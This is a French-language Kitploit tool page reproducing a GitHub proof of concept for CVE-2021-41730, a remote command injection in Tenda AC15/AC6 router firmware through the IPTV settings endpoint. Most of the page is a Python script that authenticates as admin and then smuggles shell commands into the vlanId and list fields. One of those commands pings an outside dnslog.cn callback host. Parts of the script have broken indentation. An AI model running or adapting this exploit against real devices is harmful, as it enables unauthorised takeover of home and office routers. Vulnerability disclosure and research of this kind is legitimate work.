Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-41730 — Exploit de preuve de concept pour CVE-2021-41730, démontrant une exécution de commande à distance sur les routeurs TENDA AC15/AC6 via des paramètres formSetIptv() non validés. Inclut un POC en Python et une analyse de vulnérabilité. | Kitploit
Outils/GitHubGitHub/yezeting/cve-2021-41730
Sécurité des Systèmes EmbarquésGénération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleSécurité Matériel et IoT
GitHubyezeting/cve-2021-41730

CVE-2021-41730

Exploit de preuve de concept pour CVE-2021-41730, démontrant une exécution de commande à distance sur les routeurs TENDA AC15/AC6 via des paramètres formSetIptv() non validés. Inclut un POC en Python et une analyse de vulnérabilité.

4il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

Exécution de commande à distance – Autorisation TENDA

Auteur de l’exploit : SHENGXI HUANG([email protected])
Vendeur : TENDA

CVE-2021-41730 - /bin/httpd

Version du firmware :
AC15: <=US_AC15V1.0BR_V15.03.05.20_multi_TDE01.bin
AC6 : US_AC6V1.0BR_V15.03.05.16_multi_TD01.bin
.......
Lien matériel : https://www.tendacn.com/en/download/detail-3858.html

Détail de la vulnérabilité

Dans le binaire httpd, en raison du manque de vérification valide, les attaquants peuvent falsifier les valeurs des champs stbEn, igmpEn, iptvType, vlanId et List dans les paquets pour réaliser une série de contournements, ce qui entraîne une vulnérabilité d'exécution de commandes arbitraires à distance.

Fonction de déclenchement de la vulnérabilité

formSetIptv()
image

Fonction de déclenchement réelle de la vulnérabilité

sub_B0F14() / sub_B1100() image

sub_B0F14()

image

sub_B1100()

image

Interception Burpsuite

image

POC

root@kitploit:~
# !/usr/bin/env python
# -*- coding: utf-8 -*-
import requests

def POC(ip,cmd1,cmd2,pwd):
    try:
        body = {
            'username': 'admin',
            'password': pwd
        }
        headers = {
            'Host': ip,
            'Accept': '*/*',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36',
            'X-Requested-With': 'XMLHttpRequest',
            'Origin': 'http://' + ip,
            'Referer': 'http://' + ip + '/login.html',
            'Accept-Encoding': 'gzip, deflate',
            'Accept-Language': 'zh-CN,zh;q=0.9',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Connection': 'close'
        }
        r = requests.post(url="http://" + ip + "/login/Auth",
                          data=body,
                          headers=headers,
                          allow_redirects=False )
        password = r.headers['Set-Cookie'].strip("password=").strip("; path=/")
        try:
            body = {
                'stbEn':'1',
                'igmpEn':'0',
                'iptvType':'manual',
                'vlanId':cmd1,
                'list':cmd2 }
           headers = {
                'Host': ip,
                'Accept': 'application/json, text/javascript, */*; q=0.01',
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36',
                'X-Requested-With': 'XMLHttpRequest',
                'Origin': 'http://'+ip,
                'Referer': 'http://'+ip+'/iptv.html?random=0.5429353367490362&',
                'Accept-Encoding': 'gzip, deflate',
                'Accept-Language': 'zh-CN,zh;q=0.9',
                'Cookie': 'password='+password,
                'Content-Type':'application/x-www-form-urlencoded'}
           r = requests.post(url="http://" + ip + "/goform/SetIPTVCfg",
                              data=body,
                              headers=headers,
                             allow_redirects=False)
            print(r.text)
       except Exception as e:
           print("[error]:", ip)
    except Exception as e:
        print("[error]:", ip)


if __name__ == "__main__":
    ip = '192.168.0.1'
    cmd1 = '1";ping -c 5 fry8vd.dnslog.cn;echo "'
    cmd2 =  '1";echo 2>/tmp/hello3.txt;echo "'
    password = '21232f297a57a5a743894a0e4a801fc3'
    POC(ip,cmd1,cmd2,password)

DÉMO

Regarder la vidéo

Télécharger l’outil